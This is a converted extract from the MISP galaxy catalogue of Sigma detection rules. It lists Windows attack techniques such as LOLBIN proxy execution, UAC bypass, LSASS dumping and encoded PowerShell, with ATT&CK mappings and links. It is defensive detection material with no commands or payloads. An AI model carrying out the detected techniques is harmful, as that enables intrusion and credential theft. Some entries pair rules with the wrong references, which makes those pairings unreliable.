<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_gpscript.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_gpscript.yml</a></td>
</tr>
</tbody>
</table>

Phishing Pattern ISO in Archive

Detects cases in which an ISO files is opend within an archiver like 7Zip or Winrar, which is a sign of phishing as threat actors put small ISO files in archives as email attachments to bypass certain
filters and protective measures (mark of web)

The tag is: \textit{misp-galaxy:sigma-rules="Phishing Pattern ISO in Archive"}

View relationships graph

Phishing Pattern ISO in Archive has relationships with:


\textit{Table 9459. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/1ZRR4H/status/1534259727059787783">https://twitter.com/1ZRR4H/status/1534259727059787783</a></td>
</tr>
<tr>
<td><a href="https://app.any.run/tasks/e1fe6a62-bce8-4323-a49a-63795d9afd5d/">https://app.any.run/tasks/e1fe6a62-bce8-4323-a49a-63795d9afd5d/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_archiver_iso_phishing.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_archiver_iso_phishing.yml</a></td>
</tr>
</tbody>
</table>

**Potential Recon Activity Via Nltest.EXE**

Detects nltest commands that can be used for information discovery

The tag is: \textit{misp-galaxy:sigma-rules="Potential Recon Activity Via Nltest.EXE"}

View relationships graph

Potential Recon Activity Via Nltest.EXE has relationships with:

- related-to: \textit{misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"}

\textit{Table 9460. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)">https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)</a></td>
</tr>
<tr>
<td><a href="https://eqllib.readthedocs.io/en/latest/analytics/03e231a6-74bc-467a-acb1-e5676b0fb55e.html">https://eqllib.readthedocs.io/en/latest/analytics/03e231a6-74bc-467a-acb1-e5676b0fb55e.html</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/">https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/</a></td>
</tr>
<tr>
<td><a href="https://book.hacktricks.xyz/windows/basic-cmd-for-pentesters">https://book.hacktricks.xyz/windows/basic-cmd-for-pentesters</a></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/">https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/5360c9d9ffa3b25f6495f7a16e267b719eba2c37/atomics/T1482/T1482.md#atomic-test---windows---discover-domain-trusts-with-nltest">https://github.com/redcanaryco/atomic-red-team/blob/5360c9d9ffa3b25f6495f7a16e267b719eba2c37/atomics/T1482/T1482.md#atomic-test---windows---discover-domain-trusts-with-nltest</a></td>
</tr>
</tbody>
</table>
CMSTP UAC Bypass via COM Object Access

Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65)

The tag is: misp-galaxy:sigma-rules="CMSTP UAC Bypass via COM Object Access"

View relationships graph

CMSTP UAC Bypass via COM Object Access has relationships with:


- related-to: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"

Table 9461. Table References

Links

https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf

https://github.com/hfiref0x/UACME


https://twitter.com/hFireFOX/status/897640081053364225

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp_com_object_access.yml

CMSTP Execution Process Creation

Detects various indicators of Microsoft Connection Manager Profile Installer execution

The tag is: misp-galaxy:sigma-rules="CMSTP Execution Process Creation"

View relationships graph

CMSTP Execution Process Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"

Table 9462. Table References
**Arbitrary Command Execution Using WSL**

Detects potential abuse of Windows Subsystem for Linux (WSL) binary as a LOLBIN to execute arbitrary Linux or Windows commands

The tag is: `misp-galaxy:sigma-rules="Arbitrary Command Execution Using WSL"`

View relationships graph

Arbitrary Command Execution Using WSL has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"` with estimative-language:likelihood-probability="almost-certain"

*Table 9463. Table References*

**Potential Product Reconnaissance Via Wmic.EXE**

Detects the execution of WMIC in order to get a list of firewall and antivirus products

The tag is: `misp-galaxy:sigma-rules="Potential Product Reconnaissance Via Wmic.EXE"`

View relationships graph

Potential Product Reconnaissance Via Wmic.EXE has relationships with:


*Table 9464. Table References*
Suspicious XOR Encoded PowerShell Command

Detects presence of a potentially xor encoded powershell command

The tag is: misp-galaxy: sigma-rules="Suspicious XOR Encoded PowerShell Command"

View relationships graph

Suspicious XOR Encoded PowerShell Command has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy: mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy: mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 9465. Table References

Links

- https://zero2auto.com/2020/05/19/netwalker-re/
- https://mez0.cc/posts/cobaltstrike-powershell-exec/
- https://redcanary.com/blog/yellow-cockatoo/

Suspicious Shells Spawn by Java Utility Keytool

Detects suspicious shell spawn from Java utility keytool process (e.g. adselfservice plus exploitation)

The tag is: misp-galaxy: sigma-rules="Suspicious Shells Spawn by Java Utility Keytool"

Table 9466. Table References

Links

- https://redcanary.com/blog/intelligence-insights-december-2021
Remote PowerShell Session Host Process (WinRM)

Detects remote PowerShell sections by monitoring for wsmprovhost (WinRM host process) as a parent or child process (sign of an active PowerShell remote session).

The tag is: `misp-galaxy:sigma-rules="Remote PowerShell Session Host Process (WinRM)"

View relationships graph

Remote PowerShell Session Host Process (WinRM) has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9467. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrm_remote_powershell_session_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrm_remote_powershell_session_process.yml</a></td>
</tr>
</tbody>
</table>

HackTool - XORDump Execution

Detects suspicious use of XORDump process memory dumping utility

The tag is: `misp-galaxy:sigma-rules="HackTool - XORDump Execution"

View relationships graph

HackTool - XORDump Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9468. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/audibleblink/xordump">https://github.com/audibleblink/xordump</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_xordump.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_xordump.yml</a></td>
</tr>
</tbody>
</table>

6074
PUA - Suspicious ActiveDirectory Enumeration Via AdFind.EXE

Detects active directory enumeration activity using known AdFind CLI flags

The tag is: `misp-galaxy:sigma-rules="PUA - Suspicious ActiveDirectory Enumeration Via AdFind.EXE"`

View relationships graph

PUA - Suspicious ActiveDirectory Enumeration Via AdFind.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002"` with `estimative-language:likelihood-probability="almost-certain"

Table 9469. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd3f32742bcf365fee2a9/atomics/T1087.002/T1087.002.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd3f32742bcf365fee2a9/atomics/T1087.002/T1087.002.md</a></td>
</tr>
<tr>
<td><a href="https://www.joeware.net/freetools/tools/adfind/">https://www.joeware.net/freetools/tools/adfind/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_adfind">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_adfind</a> Enumeration.yml</td>
</tr>
</tbody>
</table>

PDQ Deploy Remote Adminstation Tool Execution

Detect use of PDQ Deploy remote admin tool

The tag is: `misp-galaxy:sigma-rules="PDQ Deploy Remote Adminstration Tool Execution"

View relationships graph

PDQ Deploy Remote Adminstation Tool Execution has relationships with:


Table 9470. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562a9c7500447b11fa3e17e254/atomics/T1072/T1072.md">https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562a9c7500447b11fa3e17e254/atomics/T1072/T1072.md</a></td>
</tr>
<tr>
<td><a href="https://www.pdq.com/pdq-deploy/">https://www.pdq.com/pdq-deploy/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdqdeploy_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdqdeploy_execution.yml</a></td>
</tr>
</tbody>
</table>
Proxy Execution Via Wuauclt.EXE

Detects the use of the Windows Update Client binary (wuauclt.exe) for proxy execution.

The tag is: misp-galaxy:sigma-rules="Proxy Execution Via Wuauclt.EXE"

View relationships graph

Proxy Execution Via Wuauclt.EXE has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9471. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://dtm.uk/wuauclt/">https://dtm.uk/wuauclt/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wuauclt_dll%3ELoading.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wuauclt_dll&gt;Loading.yml</a></td>
</tr>
</tbody>
</table>

WMI Persistence - Script Event Consumer

Detects WMI script event consumers

The tag is: misp-galaxy:sigma-rules="WMI Persistence - Script Event Consumer"

View relationships graph

WMI Persistence - Script Event Consumer has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

Table 9472. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/">https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wmi_persistence_script_event_consumer.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wmi_persistence_script_event_consumer.yml</a></td>
</tr>
</tbody>
</table>

Execute Code with Pester.bat

Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)

The tag is: misp-galaxy:sigma-rules="Execute Code with Pester.bat"

View relationships graph
Execute Code with Pester.bat has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9473. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/Oddvarmoe/status/993383596244258816">https://twitter.com/Oddvarmoe/status/993383596244258816</a></td>
</tr>
<tr>
<td><a href="https://github.com/api0cradle/LOLBAS/blob/d148d278f5f205ce67cfaf49afdfb68071c7252a/OSScripts/pester.md">https://github.com/api0cradle/LOLBAS/blob/d148d278f5f205ce67cfaf49afdfb68071c7252a/OSScripts/pester.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pester_1.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pester_1.yml</a></td>
</tr>
</tbody>
</table>

Potential Mftrace.EXE Abuse

Detects child processes of the "Trace log generation tool for Media Foundation Tools" (Mftrace.exe) which can abused to execute arbitrary binaries.

The tag is: misp-galaxy:sigma-rules="Potential Mftrace.EXE Abuse"

View relationships graph

Potential Mftrace.EXE Abuse has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 9474. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mftrace/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mftrace/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mftrace_child_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mftrace_child_process.yml</a></td>
</tr>
</tbody>
</table>

Potential Command Line Path Traversal Evasion Attempt

Detects potential evasion or obfuscation attempts using bogus path traversal via the commandline

The tag is: misp-galaxy:sigma-rules="Potential Command Line Path Traversal Evasion Attempt"

View relationships graph

Potential Command Line Path Traversal Evasion Attempt has relationships with:
Regsvr32 Execution From Highly Suspicious Location

Detected execution of regsvr32 where the DLL is located in a highly suspicious locations

The tag is: misp-galaxy:sigma-rules="Regsvr32 Execution From Highly Suspicious Location"

View relationships graph

Regsvr32 Execution From Highly Suspicious Location has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Chromium Browser Instance Executed With Custom Extension

Detects a Chromium based browser process with the 'load-extension' flag to start a instance with a custom extension

The tag is: misp-galaxy:sigma-rules="Chromium Browser Instance Executed With Custom Extension"

View relationships graph

Chromium Browser Instance Executed With Custom Extension has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
Browser Execution In Headless Mode

Detects execution of Chromium based browser in headless mode

The tag is: misp-galaxy:sigma-rules="Browser Execution In Headless Mode"

View relationships graph

Browser Execution In Headless Mode has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Potentially Suspicious Child Process Of WinRAR.EXE

Detects potentially suspicious child processes of WinRAR.exe.

The tag is: misp-galaxy:sigma-rules="Potentially Suspicious Child Process Of WinRAR.EXE"

View relationships graph

Potentially Suspicious Child Process Of WinRAR.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
Taskmgr as LOCAL_SYSTEM

Detected the creation of taskmgr.exe process in context of LOCAL_SYSTEM.

The tag is: misp-galaxy:sigma-rules="Taskmgr as LOCAL_SYSTEM"

View relationships graph

Taskmgr as LOCAL_SYSTEM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Suspicious Execution Of PDQDeployRunner

Detected suspicious execution of "PDQDeployRunner" which is part of the PDQDeploy service stack that is responsible for executing commands and packages on a remote machines.

The tag is: misp-galaxy:sigma-rules="Suspicious Execution Of PDQDeployRunner"

ETW Logging Tamper In .NET Processes

Detected changes to environment variables related to ETW logging. This could indicate potential adversaries stopping ETW providers recording loaded .NET assemblies.

The tag is: misp-galaxy:sigma-rules="ETW Logging Tamper In .NET Processes"
Security Tools Keyword Lookup Via Findstr.EXE

Detects execution of "findstr" to search for common names of security tools. Attackers often pipe the results of recon commands such as "tasklist" or "whoami" to "findstr" in order to filter out the results. This detection focuses on the keywords that the attacker might use as a filter.

The tag is: misp-galaxy:sigma-rules="Security Tools Keyword Lookup Via Findstr.EXE"

Table 9483. Table References

Links

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_etw_modification_cmdline.yml

• related-to: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
Suspicious Sigverif Execution

Detects the execution of sigverif binary as a parent process which could indicate it being used as a LOLBIN to proxy execution

The tag is: `misp-galaxy:sigma-rules="Suspicious Sigverif Execution"`

View relationships graph

Suspicious Sigverif Execution has relationships with:


Table 9484. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/0gtweet/status/1457676633809330184">https://twitter.com/0gtweet/status/1457676633809330184</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sigverif.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sigverif.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Schtasks Schedule Types

Detects scheduled task creations or modification on a suspicious schedule type

The tag is: `misp-galaxy:sigma-rules="Suspicious Schtasks Schedule Types"`

View relationships graph

Suspicious Schtasks Schedule Types has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"

Table 9485. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

6082
ConvertTo-SecureString Cmdlet Usage Via CommandLine

Detects usage of the "ConvertTo-SecureString" cmdlet via the commandline. Which is fairly uncommon and could indicate potential suspicious activity.

The tag is: misp-galaxy:sigma-rules="ConvertTo-SecureString Cmdlet Usage Via CommandLine"

View relationships graph

ConvertTo-SecureString Cmdlet Usage Via CommandLine has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9486. Table References

Links


Sysinternals PsSuspend Execution

Detects usage of Sysinternals PsSuspend which can be abused to suspend critical processes

The tag is: misp-galaxy:sigma-rules="Sysinternals PsSuspend Execution"

View relationships graph

Sysinternals PsSuspend Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 9487. Table References
Uncommon Child Process Of AddinUtil.EXE

Detects uncommon child processes of the Add-In deployment cache updating utility (AddInutil.exe) which could be a sign of potential abuse of the binary to proxy execution via a custom Addins.Store payload.

The tag is: `misp-galaxy:sigma-rules="Uncommon Child Process Of AddinUtil.EXE"`

View relationships graph

Uncommon Child Process Of AddinUtil.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

Suspicious Diantz Download and Compress Into a CAB File

Download and compress a remote file and store it in a cab file on local machine.

The tag is: `misp-galaxy:sigma-rules="Suspicious Diantz Download and Compress Into a CAB File"`

View relationships graph

Suspicious Diantz Download and Compress Into a CAB File has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"
Use NTFS Short Name in Command Line

Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection

The tag is: misp-galaxy:sigma-rules="Use NTFS Short Name in Command Line"

View relationships graph

Use NTFS Short Name in Command Line has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 9490. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/">https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN">https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/jonasLyk/status/1555914501802921984">https://twitter.com/jonasLyk/status/1555914501802921984</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_remote_cab.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_remote_cab.yml</a></td>
</tr>
</tbody>
</table>

HackTool - HandleKatz LSASS Dumper Execution

Detects the use of HandleKatz, a tool that demonstrates the usage of cloned handles to Lsass in order to create an obfuscated memory dump of the same

The tag is: misp-galaxy:sigma-rules="HackTool - HandleKatz LSASS Dumper Execution"

View relationships graph

HackTool - HandleKatz LSASS Dumper Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 9491. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/codewhitesec/HandleKatz">https://github.com/codewhitesec/HandleKatz</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_handlekatz.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_handlekatz.yml</a></td>
</tr>
</tbody>
</table>
Suspicious Encoded PowerShell Command Line

Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet)

The tag is: `misp-galaxy:sigma-rules="Suspicious Encoded PowerShell Command Line"`

View relationships graph

Suspicious Encoded PowerShell Command Line has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9492. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://app.any.run/tasks/6217d77d-3189-4db2-a957-8ab239f3e01e">https://app.any.run/tasks/6217d77d-3189-4db2-a957-8ab239f3e01e</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_encoded_cmd.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_encoded_cmd.yml</a></td>
</tr>
</tbody>
</table>

PUA - Fast Reverse Proxy (FRP) Execution

Detects the use of Fast Reverse Proxy. frp is a fast reverse proxy to help you expose a local server behind a NAT or firewall to the Internet.

The tag is: `misp-galaxy:sigma-rules="PUA - Fast Reverse Proxy (FRP) Execution"`

View relationships graph

PUA - Fast Reverse Proxy (FRP) Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Proxy - T1090"` with estimative-language:likelihood-probability="almost-certain"

Table 9493. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/fatedier/frp">https://github.com/fatedier/frp</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_frp.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_frp.yml</a></td>
</tr>
</tbody>
</table>

Use Of The SFTP.EXE Binary As A LOLBIN

Detects the usage of the "sftp.exe" binary as a LOLBIN by abusing the "-D" flag

The tag is: `misp-galaxy:sigma-rules="Use Of The SFTP.EXE Binary As A LOLBIN"`

View relationships graph
Use Of The SFTP.EXE Binary As A LOLBIN has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9494. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/LOLBAS-Project/LOLBAS/pull/264">https://github.com/LOLBAS-Project/LOLBAS/pull/264</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sftp.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sftp.yml</a></td>
</tr>
</tbody>
</table>

**UAC Bypass Using IDiagnostic Profile**

Detects the "IDiagnosticProfileUAC" UAC bypass technique

The tag is: misp-galaxy:sigma-rules="UAC Bypass Using IDiagnostic Profile"

View relationships graph

UAC Bypass Using IDiagnostic Profile has relationships with:


Table 9495. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Wh04m1001/IDiagnosticProfileUAC">https://github.com/Wh04m1001/IDiagnosticProfileUAC</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_idiagnostic_profile.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_idiagnostic_profile.yml</a></td>
</tr>
</tbody>
</table>

**HackTool - RedMimicry Winnti Playbook Execution**

Detects actions caused by the RedMimicry Winnti playbook a automated breach emulations utility

The tag is: misp-galaxy:sigma-rules="HackTool - RedMimicry Winnti Playbook Execution"

View relationships graph

HackTool - RedMimicry Winnti Playbook Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
Allow Service Access Using Security Descriptor Tampering Via Sc.EXE

Detects suspicious DACL modifications to allow access to a service from a suspicious trustee. This can be used to override access restrictions set by previous ACLs.

The tag is: `misp-galaxy:sigma-rules="Allow Service Access Using Security Descriptor Tampering Via Sc.EXE"`

Indirect Command Execution From Script File Via Bash.EXE

Detects execution of Microsoft bash launcher without any flags to execute the content of a bash script directly. This can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash.

The tag is: `misp-galaxy:sigma-rules="Indirect Command Execution From Script File Via Bash.EXE"`
**Wscript Shell Run In CommandLine**

Detects the presence of the keywords "Wscript", "Shell" and "Run" in the command, which could indicate a suspicious activity.

The tag is: `misp-galaxy:sigma-rules="Wscript Shell Run In CommandLine"`

View relationships graph

Wscript Shell Run In CommandLine has relationships with:

- **related-to**: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

**Conhost.exe CommandLine Path Traversal**

detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking

The tag is: `misp-galaxy:sigma-rules="Conhost.exe CommandLine Path Traversal"`

View relationships graph

Conhost.exe CommandLine Path Traversal has relationships with:

- **related-to**: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
PowerShell Base64 Encoded Invoke Keyword

Detects UTF-8 and UTF-16 Base64 encoded powershell 'Invoke-' calls

The tag is: misp-galaxy:sigma-rules="PowerShell Base64 Encoded Invoke Keyword"

Renamed AutoHotkey.EXE Execution

Detects execution of a renamed autohotkey.exe binary based on PE metadata fields

The tag is: misp-galaxy:sigma-rules="Renamed AutoHotkey.EXE Execution"

Detection of PowerShell Execution via Sqlps.exe

This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server. Script blocks are not logged in this
case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.

The tag is: \textit{misp-galaxy:sigma-rules="Detection of PowerShell Execution via Sqlps.exe"}

\textbf{View relationships graph}

Detection of PowerShell Execution via Sqlps.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

\textit{Table 9503. Table References}

\begin{tabular}{|l|}
\hline
\textbf{Links} \\
\hline
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/ \\
https://twitter.com/bryon_/status/975835709587075072 \\
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_sqlps_susp_execution.yml \\
\hline
\end{tabular}

\textbf{Use of UltraViewer Remote Access Software}

